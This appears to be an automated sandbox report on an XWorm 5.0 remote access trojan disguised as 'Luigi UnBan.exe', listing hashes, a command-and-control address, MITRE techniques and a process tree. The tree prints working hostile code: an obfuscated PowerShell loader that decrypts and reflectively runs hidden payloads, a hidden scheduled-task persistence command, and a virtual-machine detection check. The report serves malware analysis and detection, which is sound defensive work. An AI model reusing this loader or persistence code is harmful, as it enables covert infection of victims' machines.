xworm | 0f3a0a876e198379b45b75a0c06ee8f3cab91eb26fd868fab769ed72b804f600

Analysis

max time kernel
149s
max time network
147s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
12-11-2024 05:51

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General

Target

Luigi UnBan.exe
Size

178.2MB
MD5

fdaf5b201a0e1c706e755cf2dcf6adb4
SHA1

015461363ad9a3897d2ea5deda2fa44fe57756f3
SHA256

0f3a0a876e198379b45b75a0c06ee8f3cab91eb26fd868fab769ed72b804f600
SHA512

cc0e9a65170e318a4faad0a28aa7458dc0367027b7419049b0dce2baa1df535e7f776395b904be8466b055b1a40a97317cead9adb96afde637e82343f4d1ba91
SSDEEP

1572864:3gm3YzFXmdksvLt/u5ZnKBE5MoDNU0gj67dnHE7:3gm3YYdkqZu6E5Mg7dK

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

80.76.49.227:9999

Mutex

g0vzRORqzebeaKQj

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4700-51-0x00000204AFBB0000-0x00000204AFBBE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	4700	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4760	powershell.exe
4012	powershell.exe
4700	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Luigi UnBan.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Luigi UnBan.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Luigi UnBan.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4760	powershell.exe
4760	powershell.exe
4012	powershell.exe
4012	powershell.exe
4700	powershell.exe
4700	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1420	WMIC.exe
Token: SeSecurityPrivilege	1420	WMIC.exe
Token: SeTakeOwnershipPrivilege	1420	WMIC.exe
Token: SeLoadDriverPrivilege	1420	WMIC.exe
Token: SeSystemProfilePrivilege	1420	WMIC.exe
Token: SeSystemtimePrivilege	1420	WMIC.exe
Token: SeProfSingleProcessPrivilege	1420	WMIC.exe
Token: SeIncBasePriorityPrivilege	1420	WMIC.exe
Token: SeCreatePagefilePrivilege	1420	WMIC.exe
Token: SeBackupPrivilege	1420	WMIC.exe
Token: SeRestorePrivilege	1420	WMIC.exe
Token: SeShutdownPrivilege	1420	WMIC.exe
Token: SeDebugPrivilege	1420	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1420	WMIC.exe
Token: SeRemoteShutdownPrivilege	1420	WMIC.exe
Token: SeUndockPrivilege	1420	WMIC.exe
Token: SeManageVolumePrivilege	1420	WMIC.exe
Token: 33	1420	WMIC.exe
Token: 34	1420	WMIC.exe
Token: 35	1420	WMIC.exe
Token: 36	1420	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1420	WMIC.exe
Token: SeSecurityPrivilege	1420	WMIC.exe
Token: SeTakeOwnershipPrivilege	1420	WMIC.exe
Token: SeLoadDriverPrivilege	1420	WMIC.exe
Token: SeSystemProfilePrivilege	1420	WMIC.exe
Token: SeSystemtimePrivilege	1420	WMIC.exe
Token: SeProfSingleProcessPrivilege	1420	WMIC.exe
Token: SeIncBasePriorityPrivilege	1420	WMIC.exe
Token: SeCreatePagefilePrivilege	1420	WMIC.exe
Token: SeBackupPrivilege	1420	WMIC.exe
Token: SeRestorePrivilege	1420	WMIC.exe
Token: SeShutdownPrivilege	1420	WMIC.exe
Token: SeDebugPrivilege	1420	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1420	WMIC.exe
Token: SeRemoteShutdownPrivilege	1420	WMIC.exe
Token: SeUndockPrivilege	1420	WMIC.exe
Token: SeManageVolumePrivilege	1420	WMIC.exe
Token: 33	1420	WMIC.exe
Token: 34	1420	WMIC.exe
Token: 35	1420	WMIC.exe
Token: 36	1420	WMIC.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeIncreaseQuotaPrivilege	4012	powershell.exe
Token: SeSecurityPrivilege	4012	powershell.exe
Token: SeTakeOwnershipPrivilege	4012	powershell.exe
Token: SeLoadDriverPrivilege	4012	powershell.exe
Token: SeSystemProfilePrivilege	4012	powershell.exe
Token: SeSystemtimePrivilege	4012	powershell.exe
Token: SeProfSingleProcessPrivilege	4012	powershell.exe
Token: SeIncBasePriorityPrivilege	4012	powershell.exe
Token: SeCreatePagefilePrivilege	4012	powershell.exe
Token: SeBackupPrivilege	4012	powershell.exe
Token: SeRestorePrivilege	4012	powershell.exe
Token: SeShutdownPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeSystemEnvironmentPrivilege	4012	powershell.exe
Token: SeRemoteShutdownPrivilege	4012	powershell.exe
Token: SeUndockPrivilege	4012	powershell.exe
Token: SeManageVolumePrivilege	4012	powershell.exe
Token: 33	4012	powershell.exe
Token: 34	4012	powershell.exe
Token: 35	4012	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2940 wrote to memory of 2052	2940	Luigi UnBan.exe	81
PID 2940 wrote to memory of 2052	2940	Luigi UnBan.exe	81
PID 2052 wrote to memory of 1420	2052	cmd.exe	83
PID 2052 wrote to memory of 1420	2052	cmd.exe	83
PID 2052 wrote to memory of 1988	2052	cmd.exe	84
PID 2052 wrote to memory of 1988	2052	cmd.exe	84
PID 2940 wrote to memory of 4988	2940	Luigi UnBan.exe	86
PID 2940 wrote to memory of 4988	2940	Luigi UnBan.exe	86
PID 4988 wrote to memory of 4760	4988	cmd.exe	88
PID 4988 wrote to memory of 4760	4988	cmd.exe	88
PID 4760 wrote to memory of 4012	4760	powershell.exe	89
PID 4760 wrote to memory of 4012	4760	powershell.exe	89
PID 4760 wrote to memory of 4868	4760	powershell.exe	91
PID 4760 wrote to memory of 4868	4760	powershell.exe	91
PID 4868 wrote to memory of 3908	4868	WScript.exe	92
PID 4868 wrote to memory of 3908	4868	WScript.exe	92
PID 3908 wrote to memory of 4700	3908	cmd.exe	94
PID 3908 wrote to memory of 4700	3908	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\Luigi UnBan.exe
"C:\Users\Admin\AppData\Local\Temp\Luigi UnBan.exe"
1⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Win32Temp.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get Model
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1420
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
    3⤵
    PID:1988
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Win64Temp.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Local\Temp\Win64Temp.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_190_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_190.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4012
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_190.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4868
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_190.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Roaming\startup_str_190.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4fc204cd72f2c3f6149d487b16ea4a83

SHA1
ac5f7fae2c1ac704ad559069589844a89c0b7410

SHA256
dc706e6f21d6e4b670e36f3ed9772fef5f47d30af28f587f14ccd2f6348d14d8

SHA512
d6e90367ab4efcc2364ac7ad18763ba79b3f5ac638cefd1ec651bee9e9b6d3753b24e41bf774ce400024f1befd3b33e33fc89f0ec836e8e8256a39719a303ac4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Win32Temp.bat

Filesize
7.0MB

MD5
0e7be50d14359ee381e440f14a9b4ddf

SHA1
b3c849e1157eba02e7f0403655db4851623a6f10

SHA256
2d008467a42b452490542f14ce735f0a628a64f3e75d86698d8a8da86d0580bd

SHA512
0e7e5e81e300b544587d7662b4135600673f4230658a7a81e9a295276aa7c4f0cbfc8c75df212616355bc460592373f4d4a7f6d1dc3b7a0594c60e7f5c98f87c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Win64Temp.bat

Filesize
478KB

MD5
09c4764995d1f2e96d0a228743f2425e

SHA1
0a755c43e147141ec0e9d96d243765af66d1e8a0

SHA256
c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

SHA512
856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdireryp.ki2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_190.vbs

Filesize
115B

MD5
3b489b2229450cee95349b6f214b4833

SHA1
19d555fb744edf5292b10865c0c0a9b0edf2b6c6

SHA256
1ca00d9e17ab12c0c7e76d445ba93c5a313f438820bea2ab5964fdab2576aef7

SHA512
c6891efa85a73bd86f2925e714f80276cffe127e5983c36b2d8ad54945ae9c9ca3e5ee5e4609c9c1b478abb4b6f8f8618c1302967e08f2a975f5a64b68169f05

Download Submit
memory/4700-51-0x00000204AFBB0000-0x00000204AFBBE000-memory.dmp

Filesize
56KB

Download
memory/4760-12-0x00000209DD9A0000-0x00000209DD9C2000-memory.dmp

Filesize
136KB

Download
memory/4760-21-0x00000209DDC40000-0x00000209DDC48000-memory.dmp

Filesize
32KB

Download
memory/4760-22-0x00000209DDC70000-0x00000209DDCA2000-memory.dmp

Filesize
200KB

Download